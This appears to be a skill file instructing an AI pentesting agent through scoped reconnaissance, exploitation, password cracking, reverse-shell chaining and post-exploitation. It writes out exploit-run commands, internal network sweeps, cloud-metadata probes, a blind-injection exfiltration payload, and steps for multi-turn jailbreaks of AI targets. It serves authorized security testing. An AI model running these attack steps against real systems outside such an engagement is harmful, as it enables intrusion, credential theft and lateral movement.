Depth presets

Workflow

Before running any tool: If the request does not explicitly specify a depth or limits, ask the user:

Target: <extracted target> Which scan depth?

• recon — ports · subdomains · HTTP probe only (~$0.10 · 15 min · 10 calls)
• standard — recon + nuclei vuln scan + dir fuzzing (~$0.50 · 45 min · 25 calls)
• thorough — standard + full Kali toolchain (unlimited)

Any custom limits? (e.g. max_cost_usd=0.25, max_time_minutes=20) Any out-of-scope hosts?

Wait for the answer, then call session(action="start", options={...}) with those parameters. If the user already specified depth or limits in their request, skip the question and proceed directly.

IMPORTANT: Do NOT pass max_cost_usd, max_time_minutes, or max_tool_calls to session(action="start", options={...}) unless the user explicitly specified custom limits. The depth preset already has the right defaults. Passing your own lower values defeats the purpose of the preset — especially for thorough which needs the full budget to systematically test all endpoints.

Network / web target: 0. Call session(action="start", options={...}) with target, depth, and scope — this sets the hard limits

1. Call report(action="dashboard", data={"port": 7777}) — gives you a live URL to watch findings roll in

2. Run scan(tool="naabu", ...) + scan(tool="subfinder", ...) in the same response (parallel)

3. Run scan(tool="httpx", ...) on discovered open ports — include ALL non-standard HTTP ports (not just 80/443) 3a. Service fingerprinting — for every HTTP service (including non-standard ports), understand what it is before scanning:

   • Try multiple HTTP methods (GET, POST, PUT) — some services only respond to specific methods
   • Read response headers, body, and error messages for application/version clues
   • Check page content and SSL certificates for other hostnames — if you find references to subdomains in page content, link URLs, or redirect targets, add them to /etc/hosts and investigate. For HTTPS services, inspect the SSL certificate's CN and SAN fields — they often reveal additional subdomains (e.g. git.target.com). Also try vhost enumeration by fuzzing the Host header
   • Use technology fingerprinting tools to identify the framework
   • If the service has a login page or management console (database consoles, admin panels, deployment UIs), try default and blank credentials before moving on — many management tools ship with well-known defaults or no password at all
   • Understand how multiple applications on the same host interact — if a ticketing system generates emails at the target domain, or a registration system requires domain-specific email verification, think about how one application's features can be used to satisfy another's requirements
   • Call report(action="note", data={...}) with what each port is running and its version 3b. DNS enumeration — if port 53 (DNS) is open, attempt a zone transfer immediately — this is one of the fastest ways to discover hidden subdomains and vhosts that aren't publicly indexed:
   • Try zone transfer: kali(command="dig axfr @TARGET DOMAIN")
   • Any discovered subdomains: add to /etc/hosts and investigate each one as a separate attack surface
   • If zone transfer fails, try subdomain brute-force: kali(command="dnsrecon -d DOMAIN -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t brt") 3c. Accessible file services — if FTP, SMB, NFS, or similar file-sharing services are open:
   • Check for anonymous/null session access
   • List and download everything accessible — any file could contain credentials, internal documentation, network diagrams, endpoints, or configuration secrets
   • Read the contents of every downloaded file. For binary formats (PDFs, Office docs), extract the text so you can search it. For archives, extract and inspect contents. If an archive is password-protected, crack it — use the appropriate *2john tool (rar2john, zip2john, pdf2john, etc.) to extract the hash, then crack with john and the rockyou wordlist
   • If application source code is accessible (PHP, Ruby, Python, Java, Node.js), read it for vulnerabilities — SQL injection patterns, hardcoded credentials, insecure deserialization, route definitions, authentication logic, and file upload handling
   • Look for encoded data (base64, hex) in any file or API response — decode it
   • Check if any file service overlaps with a web application's source or deployment directory — if you can write files to where the application reads code or serves content, that's code injection or webshell upload

4. Auth service checkpoint (early) — MANDATORY, DO NOT SKIP — after port scanning and service detection, check if any authentication-bearing services were found:

   • SSH, FTP, SMB/CIFS, RDP, Telnet, VNC
   • HTTP with login form, Basic/Digest auth, or admin panel
   • Databases (MySQL, PostgreSQL, MSSQL, MongoDB, Redis)
   • LDAP, Kerberos, SNMP (community strings)

   If ANY auth service is present (standard/thorough depth): you MUST chain into /credential-audit. This is a hard gate — do not proceed to step 5 without invoking it. Do NOT attempt ad-hoc hydra/medusa/ncrack commands yourself — the credential-audit skill is systematic and covers cross-service spraying, username-derived passwords, and platform-aware enumeration that ad-hoc commands will miss.

   Choose depth based on available intelligence:

   • No usernames known yet: depth=quick — tests default creds + common usernames + top-100 passwords
   • Usernames available (from user context, prior scans, FTP files, web scraping, OSINT, etc.): depth=standard — includes username-derived password mutations + full common password lists

   # READ THE FILE NOW and follow its workflow:
   cat ~/.config/opencode/commands/credential-audit.md
   # Then invoke with:
   # /credential-audit <target> service=ssh,ftp depth=quick context='Auth services found: SSH on 2222. No user list yet.'
   
   # Usernames available from any source:
   cat ~/.config/opencode/commands/credential-audit.md
   # Then invoke with:
   # /credential-audit <target> service=ssh depth=standard userlist=/tmp/discovered-users.txt context='5 usernames found via FTP anonymous access. Services: SSH on 2222.'
   

   Resume the pentester workflow after credential-audit returns.

   Username sources to check before invoking — gather ALL available usernames from ANY source before calling credential-audit:

   • User-provided context in the scan request (e.g. "users anne, john found in prior scan")
   • FTP anonymous files (user lists, backup files, config files)
   • Web pages (team pages, about pages, comments, metadata)
   • OSINT (email addresses → username derivation)
   • SNMP enumeration results
   • SMB share contents
   • LDAP anonymous queries
   • Certificate CN/SAN fields
   • nmap script output (ssh-auth-methods, ftp-anon, smb-enum-users)
   • Prior scan data in findings.json for the same target

   Write all discovered usernames to /tmp/discovered-users.txt via kali(command=...) before invoking.

5. Directory and file enumeration on ALL HTTP ports — run directory enumeration with file extension fuzzing on every HTTP service. Include common sensitive file extensions — many targets have discoverable text files, backups, and configs that reveal credentials, usernames, changelogs, or version information:

   scan(tool="ffuf", target="http://TARGET:80", options={"extensions": ".txt,.php,.bak,.old,.conf,.xml,.json,.env,.log,.sql,.zip"})
   

   If Basic Auth is required, use gobuster with credentials: -U user -P pass. If the first wordlist finds nothing, try a larger one. 5a. Access control bypass — for any endpoint returning 403, 401, or "restricted" responses, don't skip it. Test whether the restriction can be bypassed:

   • Add headers that make the server think the request comes from localhost: X-Forwarded-For: 127.0.0.1, X-Real-IP: 127.0.0.1, X-Original-URL, X-Custom-IP-Authorization: 127.0.0.1
   • Try different HTTP methods on the same endpoint (GET blocked → try POST, PUT, PATCH)
   • Try path variations: /endpoint, /endpoint/, /endpoint/., //endpoint, /endpoint%00
   • Any bypassed endpoint is worth investigating further — it was restricted for a reason and may contain sensitive functionality 5b. Parameter tampering — when interacting with forms, APIs, or registration flows, inspect and manipulate request parameters (role fields, hidden fields, pricing, resource IDs). If you find injection points, chain into /web-exploit for deep exploitation. If you find business logic flaws (value/quantity manipulation, workflow bypass, authorization issues), chain into /business-logic

6. Hotwire/Turbo detection before spidering — before running the spider, probe the target for Hotwire/Turbo signals:

   # Check homepage HTML and response headers for Turbo indicators
   http(action="request", method="GET", url="TARGET/")
   

   Switch to mode="playwright" automatically if ANY of these signals are present:

   • Response HTML contains <turbo-frame or <turbo-stream
   • Response HTML contains @hotwired/turbo (in <script> tags or JS bundle references)
   • Response headers include Turbo-Frame: or Vary: Turbo-Frame
   • httpx fingerprint shows Rails 7+ (X-Runtime, Set-Cookie: _session_id or similar) AND the app renders HTML (not JSON-only API)

   # Fast mode (katana) — default for non-Turbo apps
   scan(tool="spider", target="TARGET", options={"depth": 3})
   
   # Playwright mode — Hotwire/Turbo detected; also use when re-spidering with auth cookies
   scan(tool="spider", target="TARGET", options={
     "mode": "playwright",
     "depth": 3,
     "cookies": {"_session_id": "SESSION_TOKEN_HERE"},
     "max_pages": 200
   })
   

   Run scan(tool="spider", ...) on confirmed web targets to map all reachable endpoints

6a. Endpoint inventory + coverage matrix — MANDATORY for web targets. After spider and ffuf complete, register every discovered endpoint into the coverage matrix. For each endpoint, identify all parameters (query params, form fields, JSON body keys, path segments with IDs) and their types/hints:

report(action="coverage", data={
  "type": "endpoint",
  "path": "/profile/{id}",
  "method": "GET",
  "params": [{"name": "id", "type": "path", "value_hint": "integer"}],
  "discovered_by": "spider",
  "auth_context": "none"
})
report(action="coverage", data={
  "type": "endpoint",
  "path": "/api/users",
  "method": "GET",
  "params": [{"name": "q", "type": "query", "value_hint": ""}],
  "discovered_by": "spider",
  "auth_context": "jwt"
})
report(action="coverage", data={
  "type": "endpoint",
  "path": "/login",
  "method": "POST",
  "params": [
    {"name": "username", "type": "body_form", "value_hint": ""},
    {"name": "password", "type": "body_form", "value_hint": ""}
  ],
  "discovered_by": "spider",
  "auth_context": "none"
})

Param type values: path, query, body_form, body_json, header, cookie Value hint values: integer, string, or empty for default

Register ALL endpoints — the matrix auto-generates injection test cells per applicability rules. Then chain into /web-exploit with the coverage context:

# READ THE FILE NOW and follow its workflow:
cat ~/.config/opencode/commands/web-exploit.md
# Then invoke with:
# /web-exploit <target> context='Coverage matrix built with N endpoints and M test cells. Auth uses JWT. App is Python/Flask.'

The web-exploit skill will systematically work through every pending cell in the matrix, ensuring no endpoint/param/injection combination is missed.

On thorough depth — also chain /param-fuzz and /business-logic after /web-exploit completes:

cat ~/.config/opencode/commands/param-fuzz.md
# Then invoke with:
# /param-fuzz <target> depth=thorough context='<N> endpoints registered. App is <tech>. Generated values observed: <tokens/IDs/PINs>.'

cat ~/.config/opencode/commands/business-logic.md
# Then invoke with:
# /business-logic <target> depth=thorough context='<describe app type, roles identified, value flows found, multi-user interactions>.'

/param-fuzz covers: auth stripping, type confusion, boundary values, mass assignment, and entropy of generated values. /business-logic covers: value/quantity logic, workflow bypass, state machine abuse, BOLA/BFLA, replay/idempotency, quota bypass, and multi-tenant isolation. Both run after /web-exploit so injection findings are already confirmed and can inform where to focus.

Thorough-depth iteration gate — mandatory re-runs: On depth=thorough, session(action="complete") enforces 3 full passes before the scan can close. Each blocked call returns a mandatory re-run brief — concrete, ordered commands to re-execute all tools and skills at escalating aggressiveness. This is not a list of suggestions: you must execute every numbered step.

• Pass 1 brief (after first complete() call): re-invoke /web-exploit (sqlmap --level=4 --risk=3, second-order injections, blind/OOB SQLi), /param-fuzz (bigger wordlists, HTTP verb tampering, type confusion), /business-logic (10 concurrent requests, all 9 phases again), /ai-redteam (PyRIT crescendo 10 turns, full Garak probe set), nuclei with all template categories, ffuf with raft-large-words.txt, and chain all unchained criticals to maximum impact.
• Pass 2 brief (after second complete() call): re-invoke everything at MAXIMUM aggression — sqlmap --level=5 --risk=3 with tamper scripts, commix blind OS injection on all params, HTTP request smuggling, CRLF, web cache poisoning, deserialization probes on all cookies, 50-concurrent idempotency attacks, full sequential BOLA enumeration across all resource types, PyRIT 15-turn jailbreaks with hidden tool parameters. Produce a single executable end-to-end chain PoC for every critical finding.
• What "re-run" means: reset tested_clean cells back to pending, use different techniques and payloads than pass 1, use more aggressive tool flags, test attack vectors that weren't tried before (not just the same tests again).
• Call session(action="recovery") at any point to check iteration_progress (e.g. "Iteration 2/3 — 1 more required").
• Only after all quality gates AND 3 complete passes will session(action="complete") succeed.

6c. Re-spider trigger — the spider must re-run when the attack surface expands:

1. New valid credentials discovered — re-spider with auth cookie to discover authenticated-only endpoints
2. Fuzzing reveals a new directory tree — e.g., ffuf finds /api/v2/ — spider that subtree
3. Privilege escalation achieved — re-spider as the higher-privilege user to find admin endpoints

After re-spider, register all new endpoints into the coverage matrix. Existing cells are preserved — only genuinely new endpoints (deduplicated on normalized path + method) get added. The web-exploit skill then tests all new pending cells. 6b. Source code checkpoint — MANDATORY when code is leaked — if at ANY point during the scan you discover application source code (via path traversal, .zip/.bak file download, git repository exposure, directory listing, LFI, or any other means):

• STOP the current workflow phase
• Read and analyze the discovered source code immediately
• Search for: hardcoded secrets, SQL query patterns, deserialization calls (yaml.load, pickle.loads, eval, unserialize), route definitions, authentication logic, file upload handlers, template rendering
• Chain into /codebase if a substantial portion of the app source is available:

  # READ THE FILE NOW and follow its workflow:
  cat ~/.config/opencode/commands/codebase.md
  # Then invoke with:
  # /codebase /tmp/leaked-source depth=quick context='Source code leaked via [method]. Partial codebase recovered.'
  

• Use discovered code patterns to inform ALL subsequent testing — if you find yaml.load() in source, immediately test YAML deserialization; if you find raw SQL queries, target those specific endpoints with SQLi; if you find pickle.loads(), test pickle deserialization
• Do NOT continue black-box testing when you have the source code for a specific feature — switch to grey-box testing informed by the code
• Resume the pentester workflow from where you left off

7. Call report(action="diagram", data={...}) with a Mermaid diagram of the discovered network/app topology
8. Run scan(tool="nuclei", ...) on confirmed web services
9. Exploit-DB lookup — for every identified application + version (from httpx, whatweb, nuclei, or nmap service detection), search for known exploits:

   kali(command="searchsploit saltstack 3000")
   kali(command="searchsploit apache 2.4.49")
   

   If searchsploit returns relevant exploits:
   • Has a Metasploit module? → chain into /metasploit:

     cat ~/.config/opencode/commands/metasploit.md
     

   • Standalone script only? → mirror it, review, and run directly:

     kali(command="searchsploit -m 48421")                    # download exploit to /tmp/
     kali(command="cat /tmp/48421.py | head -30")              # review what it does
     kali(command="python3 /tmp/48421.py --master TARGET")     # run the exploit
     

   • Exploit needs a reverse shell callback? → chain into /reverse-shell:

     cat ~/.config/opencode/commands/reverse-shell.md
     

   • Needs deeper analysis? → chain into /analyze-cve:

     cat ~/.config/opencode/commands/analyze-cve.md
     

9a. Dependency version CVE lookup — for every identified technology version (from httpx headers, error pages, /static/ paths, or source code):

• Check response headers for version strings: Server, X-Powered-By, X-AspNet-Version, X-Generator
• Parse version from known paths: /static/js/jquery-3.2.1.min.js, flask==0.10.1 in requirements.txt
• For each versioned component, search for known CVEs:

  kali(command="searchsploit flask 0.10")
  kali(command="searchsploit werkzeug 0.14")
  kali(command="searchsploit jinja2 2.5")
  kali(command="searchsploit pyyaml 3.13")
  

• Cross-reference with NVD/CVE databases for critical vulnerabilities in the identified stack
• Check for known-vulnerable JavaScript libraries served by the application (jQuery, Angular, React, lodash) — use retire.js patterns or manual version checking
• Report each vulnerable dependency with CVE ID, affected version, and known exploit availability — even if you cannot prove exploitability from a black-box perspective, these are valid findings (severity: Medium for exploitable, Low for theoretical)

10. Use kali(command=...) for deep dives (only in standard / thorough): nikto, sqlmap, gobuster, testssl, etc. 10a. Post-exploitation checkpoint — MANDATORY on any foothold — a foothold is either of these two things:

(A) Command execution achieved — via command injection, SSTI, deserialization, file upload, debugger console, or any other vector.

(B) Credential material obtained that authenticates to a reachable internal service — this means any form of secret that opens a door into a system not directly exposed: database passwords, private keys, API tokens, session material, service account credentials, cloud provider keys, internal service secrets extracted via SSRF, config leaks, or path traversal. The specific form does not matter. If you found something that lets you authenticate to something, that is a foothold.

Do NOT log credential material as a finding and continue to the next coverage cell. Both (A) and (B) require the steps below — the difference is only the access= argument passed to /post-exploit.

For credential material (B): skip Step 1 (no shell needed yet) and go directly to Step 2 using the service the credentials target as the pivot point.

Step 1 — Establish stable access:

• If the RCE is blind (no direct output, e.g. blind command injection), chain into /reverse-shell to get an interactive shell from the target to the Kali container. This transforms blind RCE into a full shell and makes all subsequent post-exploitation dramatically more efficient:

  cat ~/.config/opencode/commands/reverse-shell.md
  

• If the RCE already provides interactive output (e.g. Werkzeug debugger console, web shell), proceed directly.

Step 2 — Environment detection and internal network discovery — run these commands on the target to classify the environment and map reachable networks:

# Detect containerization
cat /proc/1/cgroup 2>/dev/null | grep -E 'docker|kubepods|containerd'
ls -la /.dockerenv 2>/dev/null
# Detect Kubernetes
ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null
env | grep KUBERNETES
# Detect cloud
curl -s --max-time 2 http://169.254.169.254/latest/meta-data/ 2>/dev/null
curl -s --max-time 2 -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/ 2>/dev/null
# Detect Active Directory / domain-joined host
cat /etc/krb5.conf 2>/dev/null; echo "$USERDOMAIN $LOGONSERVER" 2>/dev/null

Step 2b — Internal network scan (MANDATORY) — always run this after environment detection. The goal is to discover what the compromised host can reach — this determines whether to chain into /network-assess, /lateral-movement, or /ad-assessment:

# Map network interfaces and subnets
ip addr 2>/dev/null || ifconfig 2>/dev/null
ip route 2>/dev/null || route -n 2>/dev/null || netstat -rn 2>/dev/null
cat /etc/resolv.conf 2>/dev/null

# Discover live hosts on local subnets (fast ARP-based or ping sweep)
# Use the subnet from ip addr output, e.g. 10.0.0.0/24
for subnet in $(ip route 2>/dev/null | grep -v default | awk '{print $1}' | head -5); do
  echo "=== Scanning $subnet ==="
  for i in $(seq 1 254); do
    ip="${subnet%.*}.$i"
    ping -c1 -W1 "$ip" &>/dev/null && echo "LIVE: $ip" &
  done 2>/dev/null
  wait
done

# Active connections — reveals internal services the host talks to
ss -tunapl 2>/dev/null || netstat -tunapl 2>/dev/null

# ARP cache — hosts already communicated with
ip neigh 2>/dev/null || arp -a 2>/dev/null

# DNS zone info — may reveal internal hostnames
cat /etc/hosts 2>/dev/null

If any scanning tools are available on the compromised host (nmap, ncat, curl), use them for more thorough service discovery on discovered subnets:

# Quick port scan on discovered live hosts (top ports)
nmap -sT -T4 --top-ports 20 <discovered-subnet>/24 2>/dev/null
# Or if no nmap, use bash TCP scan for key ports
for port in 22 80 443 445 3306 5432 6379 8080 8443 27017; do
  (echo >/dev/tcp/<host>/$port) 2>/dev/null && echo "OPEN: <host>:$port"
done

Record all discovered hosts, subnets, and services in a report_note — this feeds into the chaining decision in Step 3.

Step 3 — Chain into post-exploitation skills based on environment:

# Example chains — read each file and follow its workflow:
cat ~/.config/opencode/commands/post-exploit.md
# /post-exploit <target> access=command_injection user=app os=linux context='Blind CMDi via POST /home size param. Alpine 3.7 container in K8s.'

cat ~/.config/opencode/commands/container-k8s-security.md
# /container-k8s-security <target> perspective=internal context='RCE in pod cmd-5644658694. SA token at default path. K8s API at 10.96.0.1:443. Namespace: 141054a6-...'

cat ~/.config/opencode/commands/network-assess.md
# /network-assess <target> perspective=internal context='RCE on 10.0.1.5. Step 2b found live hosts on 10.0.1.0/24 (10.0.1.1 gateway, 10.0.1.10 ssh, 10.0.1.20 http). ARP cache shows 10.0.2.0/24 also reachable.'

This is a hard gate — do NOT skip post-exploitation when a foothold is confirmed. A foothold is not the objective — it is the entry point. The real impact comes from what is reachable from it: internal networks, other services, cloud metadata, lateral movement paths. Skipping post-exploitation means reporting "credentials found" when the actual finding is "full database dump + RCE via PostgreSQL" or "JWT secret found" when the actual finding is "arbitrary admin token forgery for all users".

Blind RCE pivoting technique — when you only have blind command injection (no reverse shell possible due to egress filtering), use the exfiltration pattern:

# Write command output to web-accessible directory
POST /vulnerable-endpoint  body: param=$(command > static/output.txt)
GET /static/output.txt  # read the output

# For commands with special characters, base64 encode:
POST /vulnerable-endpoint  body: param=$(command | base64 > static/b64out.txt)
GET /static/b64out.txt  # decode locally

This is slower than an interactive shell but works when egress is blocked. Use it for initial enumeration, then try to find an egress channel for a reverse shell.

11. Credential material checkpoint (late) — MANDATORY if new material found — after deep enumeration, check if ANY new credential material was discovered since the early checkpoint:

• A user list or username file (e.g. from FTP anonymous access, directory listing, web scraping, config files)
• Password hashes (e.g. from database dumps, .htpasswd, LDAP, SAM/NTDS)
• Cleartext credentials or API keys (e.g. from config files, backup files, git history)
• Additional usernames from any source not available at step 4

If new credential material was found: chain into /credential-audit again with depth=thorough and the discovered material.

# READ THE FILE NOW and follow its workflow:
cat ~/.config/opencode/commands/credential-audit.md
# Then invoke with:
# /credential-audit <target> service=ssh,ftp,http depth=thorough userlist=/tmp/discovered-users.txt context='5 usernames found in users.txt.bk via FTP anonymous access. Services: SSH on 22, FTP on 21, HTTP on 80.'

Before invoking, write the discovered usernames to /tmp/discovered-users.txt via kali(command=...). The credential-audit skill will handle: username-derived passwords, lockout detection, intelligent wordlist generation (cewl + john mutations + mask attacks), cross-service spraying, and verification. Do NOT run ad-hoc hydra/medusa commands yourself — the dedicated skill is more thorough and systematic.

If NO new material was found but the early checkpoint (step 4) was run at depth=quick: consider upgrading to depth=standard now that more context is available (e.g. OS version, service banners, application type). 12. Use http(action="request", ...) to manually verify or PoC any finding 13. Always before session(action="complete", options={...}): - Call report(action="diagram", data={...}) with a Mermaid diagram of the application architecture — even for pure web targets with no network infrastructure. Map out every component, endpoint, and feature that was tested (login, API routes, file upload, admin panel, auth flows, third-party integrations, etc.). This gives a clear picture of the attack surface covered. - For every confirmed exploit, call http(action="request", options={"poc": true}) and http(action="save_poc", ...) to produce a Burp-ready .http file. Do not skip this even if the finding was already logged via report(action="finding", data={...}). - On depth=thorough: session(action="complete") enforces 3 mandatory re-run passes (see step 6c). When blocked, the response is a numbered list of concrete re-run commands — execute ALL of them, then call complete again. Do not skip steps or paraphrase them as done without running the tools. Check session(action="recovery") → iteration_progress to track your pass count. 14. Call session(action="complete", options={...}) with a summary when done or when a limit is hit

Local codebase: 0. Chain into /codebase first — this performs a comprehensive white-box source code review (ASVS 5.0), maps all endpoints, identifies auth architecture, traces dangerous patterns, and produces a security profile that makes subsequent scanning far more targeted:

# READ THE FILE NOW and follow its workflow:
cat ~/.config/opencode/commands/codebase.md
# Then invoke with:
# /codebase /path/to/code depth=standard

1. After /codebase completes, invoke additional skills based on what was found — do NOT test manually:
   • Web/API endpoints present AND live target available → MUST invoke /web-exploit:
     • First register all code-discovered endpoints into the coverage matrix (use report(action="coverage", data={type:"endpoint",...}) for each one)
     • Then invoke /web-exploit with context from the code review (stack, auth type, known injection points):

       cat ~/.config/opencode/commands/web-exploit.md
       

   • AI/LLM code found (OpenAI calls, prompt templates, LangChain, chat endpoints, function calling) → MUST invoke /ai-redteam:

     cat ~/.config/opencode/commands/ai-redteam.md
     

   • HTTPS target → invoke /ssl-tls-audit:

     cat ~/.config/opencode/commands/ssl-tls-audit.md
     

   • You are now in grey-box mode: the coverage matrix has code-discovered endpoints and parameters, not just spider-discovered ones
2. If no live target is available, skip to step 3
3. Call session(action="complete", options={...}) when done

Chaining other skills

During a pentest you may invoke other skills when the situation calls for it:

How to chain: At the trigger point, read the sub-skill file and follow its workflow inline with the provided arguments.

cat ~/.config/opencode/commands/<skill-name>.md
# Then invoke: /<skill-name> <arguments>

Rules

• Follow next.required — every tool response includes a next.required field telling you what to call next. Follow it
• Recovery shortcut — if you lose context mid-scan, call session(action="recovery") to get your next action
• session(action="start", options={...}) is mandatory — never run any other tool before it
• NEVER run ad-hoc credential brute-force — do not run hydra, medusa, ncrack, or nmap brute scripts directly from the pentester workflow. ALWAYS chain into /credential-audit instead. The dedicated skill handles cross-service spraying, username-derived passwords, lockout detection, platform-aware enumeration, and intelligent wordlist generation that ad-hoc commands will miss. This is the #1 cause of missed findings.
• Auth service checkpoint is a hard gate — steps 4 and 11 are mandatory when their triggers are met. Do not skip them to save tool calls. A missed credential finding is worse than an extra skill invocation.
• Post-exploitation checkpoint is a hard gate — step 10a is mandatory on any foothold: command execution OR credential material that reaches an internal service. Do NOT log a finding and move on. Always run the internal network scan (step 2b) to discover reachable subnets, then chain into /post-exploit, /network-assess (if internal hosts found), and if containerized, /container-k8s-security. The difference between "credentials found" and "full database compromise + RCE" is one pivot step. This is the #2 cause of missed findings (after skipping credential audit).
• Stuck-loop escape rule — if you have made 10 or more consecutive tool calls without meaningful progress (no new information, no new attack surface discovered, same payloads returning the same results), STOP immediately and do the following: (1) identify the current attack category, (2) read the corresponding sub-skill file via kali(command="cat ~/.config/opencode/commands/<name>.md"), (3) scan the sub-skill for techniques you have NOT yet tried, (4) pick the highest-priority untried technique and resume. Quick mapping — what to read when stuck: injection (SQLi/CMDi/SSTI/XXE/SSRF) → /web-exploit; authentication/authorization bypass → /web-exploit then /credential-audit; post-RCE / nothing to show for confirmed execution → /post-exploit; network/internal pivoting → /network-assess; cloud → /cloud-security; deserialization (Java/PHP/Python/YAML) → /web-exploit. Repeating the same approach with minor variations is the #3 cause of missed findings — the sub-skills contain specialist techniques and edge cases that are not in this file.
• Early sub-skill read rule — 3 failed variants is the trigger, not 10 — the 10-call stuck rule is for general stalls; this rule fires faster for injection/bypass work. If you have tried 3 different payload variants for the same vulnerability class and none produced meaningful output, read the corresponding sub-skill BEFORE trying a 4th variant. "Meaningful output" means: a timing difference, an error message that changed, a different response code or body length, or any signal that suggests the input is being processed differently. Three times "server returned the same 200 with no change" means you are testing the wrong class or using the wrong technique — stop and read the skill. This rule exists because engines like Twig, Freemarker, and ERB require completely different payloads from Jinja2, and XXE extraction requires different DOCTYPE patterns depending on the parser. Model training knowledge alone is frequently insufficient for non-Jinja2 SSTI and non-trivial XXE — the reference files contain tested, working payloads.
• Batch independent tools in the same response — they execute in parallel
• When any tool returns a LIMIT message, stop immediately and call session(action="complete", options={...})
• Only run tools appropriate for the chosen depth (e.g. no kali(command=...) on recon)
• Call report(action="finding", data={...}) for every confirmed vulnerability — include raw tool output as evidence. Finding granularity rule: file one finding per technique per endpoint — "SQLi in /search param q" and "SQLi in /products param category" are two separate findings, not one. Each instance must be independently actionable for a developer to fix. Batch findings only when all instances are identical (same technique, same endpoint, same root cause, same fix).
• Call report(action="diagram", data={...}) after initial recon to capture the discovered topology
• Always call report(action="diagram", data={...}) again at the end of the scan with a full application/component map — even for pure web targets. Include every route, feature, and integration tested so the diagram reflects the complete attack surface covered.
• Mermaid syntax rules (Mermaid v11 — strictly follow these or the diagram will not render):
  • Always start with flowchart TD (not graph TD)
  • Quote any node label that contains spaces, special characters, parentheses, slashes, dashes, or colons: A["Login /api/auth"]
  • Never use em-dashes (—) or other Unicode punctuation inside labels — use plain ASCII
  • Keep node IDs short and alphanumeric with no spaces: LoginAPI, DB, FTP
  • Example of valid syntax:

    flowchart TD
      Browser["Browser (Angular SPA)"] --> API["REST API /api/*"]
      API --> DB["SQLite Database"]
      API --> FTP["FTP Directory /ftp/"]
    

• Always call http(action="save_poc", ...) for every confirmed exploit — pair it with http(action="request", options={"poc": true}). Never skip this step even if report(action="finding", data={...}) was already called.
• Use report(action="note", data={...}) liberally — call it before every tool to explain why you are running it and what you expect to find, and after every significant result to record what you concluded from it. This is the audit trail for the entire decision chain. Do not batch multiple tool calls without a preceding report(action="note", data={...}) explaining the intent.
• Never use 2>/dev/null in kali(command=...) commands — it silently hides errors and makes failures look like empty results. Let stderr through so failures are visible.
• Wordlist paths in kali(command=...): prefer /usr/share/seclists/Discovery/Web-Content/common.txt. Fallback: /usr/share/wordlists/dirb/common.txt (dirb package). Always check the path with ls if a tool returns no output.
• Call session(action="stop_kali") at the end if kali(command=...) was used
• http(action="request", ...) with poc=True — only set this flag when the request is a confirmed, report-worthy exploit (e.g. a working SQLi payload, an authenticated bypass, a proven SSRF). This routes the request through Burp Suite so it lands in HTTP History. Do NOT use poc=True for recon probes, fingerprinting, or speculative checks.
• http(action="save_poc", ...) — call this alongside http(action="request", options={"poc": true}) for every confirmed exploit. Write a descriptive title (e.g. sqli-login-username) and include the vulnerability description in notes. The saved .http file can be pasted directly into Burp Repeater.
• Investigate every clue to exhaustion — when a finding reveals new attack surface (e.g., path traversal reveals source code, SQLi reveals additional tables, config leak reveals internal endpoints), follow EVERY lead before moving on. Do not mark a finding as "done" and move to the next phase if the finding opens new doors. Clue chains: source code leak → read all code → identify dangerous functions → test each one. Database dump → read all tables → find hashes → crack them → test credentials everywhere. Config file → find internal URLs → test each one.
• Never abandon an endpoint after one failure — if a technique fails on an endpoint (e.g., path traversal with relative paths returns FileNotFoundError), try the full variant matrix before giving up: absolute paths, encoding variants, null bytes, double encoding, different base directories. One "not found" does not mean the endpoint is not vulnerable.
• Source-leak probes are a HARD GATE, not a fallback — the moment run_httpx confirms a web target is up AND before you run any parameter fuzzing or deep enumeration, you MUST issue GET requests for: /backup, /backup/, /backup.zip, /backups/, /backup.tar.gz, /site.zip, /source.zip, /www.zip, /app.zip, /.git/HEAD, /.env, /.htaccess, /composer.json, /package.json, /readme.txt, /server-status, /.well-known/security.txt, /api/docs, /swagger.json. Any response that is not a 404 (2xx, 301, 302, 403 with body, directory listing) → STOP everything else and download/read the leaked content before returning to the scan. This is not a "when stuck" rule — it runs on every web target regardless of whether you have a plan. Leaked source collapses most challenges to a single request; burning 30 minutes black-box fuzzing a target whose /backup.zip is world-readable is the single most common failure mode.
• Source-first escalation — when any protected endpoint returns 401/403, OR you've tried 10+ variants of an injection without success, OR the challenge has a "hint" that you can't parse, stop fuzzing and try to read source/config first. The shortest path to the flag is almost always the file that defines the filter, not brute-forcing past it. The standard probes: .git/HEAD, .env, .htaccess, composer.json, package.json, readme.txt, /wp-content/plugins/, backup files (index.php.bak, app.py~, .orig, .swp), directory backups (/backup/, /backup.zip, /backups/, /backup.tar.gz, /site.zip, /source.zip, /www.zip, /app.zip), framework error pages, /server-status, /.well-known/security.txt. See /web-exploit Phase 1b for the full probe list. Reading one config file often reveals the filter regex, the flag path, the env var name, or the plugin CVE — any of which collapses the challenge to a single request. When you reach a new internal backend via SSRF/smuggling, the first thing to probe is /backup* and /.git/ — leaked source is the fastest route to the gadget chain.
• Hidden-link discovery — spiders only follow visible links (katana and most crawlers skip display:none, visibility:hidden, and JS-defined routes). For every authenticated page AND every page that has forms, manually extract every href, src, action, formaction, and fetch(...) URL from the raw HTML AND from linked JS bundles. Register any new endpoints in the coverage matrix. The flag endpoint in CTFs and the real admin route in real apps are almost always in this hidden set. Command: curl -s URL | grep -oE '(href|src|action|formaction)=["\x27][^"\x27]+' | sort -u.
• Cookie content inspection — every session/auth cookie gets decoded and its magic bytes checked before treating it as opaque. \x80\x04/\x80\x05 = Python pickle (RCE via pickle.loads); eyJ = JWT (check alg=none, kid injection, secret brute); rO0AB = Java serialized object (ysoserial); O: = PHP serialized object. Base64-decode, zlib-decompress, URL-decode — nested serialization layers are common. An opaque cookie is almost never actually opaque; it's serialized data with a guessable format. See /web-exploit Phase 3.
• HTTP verb sweep on every 401/403 — before concluding an endpoint is auth-protected, always try non-standard verbs (HEAD, OPTIONS, PUT, DELETE, PROPFIND, LOCK, BOGUS, FOO). Apache <Limit> and J2EE <security-constraint> only enforce auth on verbs they list; unlisted verbs bypass auth entirely and still execute the handler. See /web-exploit refs/parameter-tampering.md.
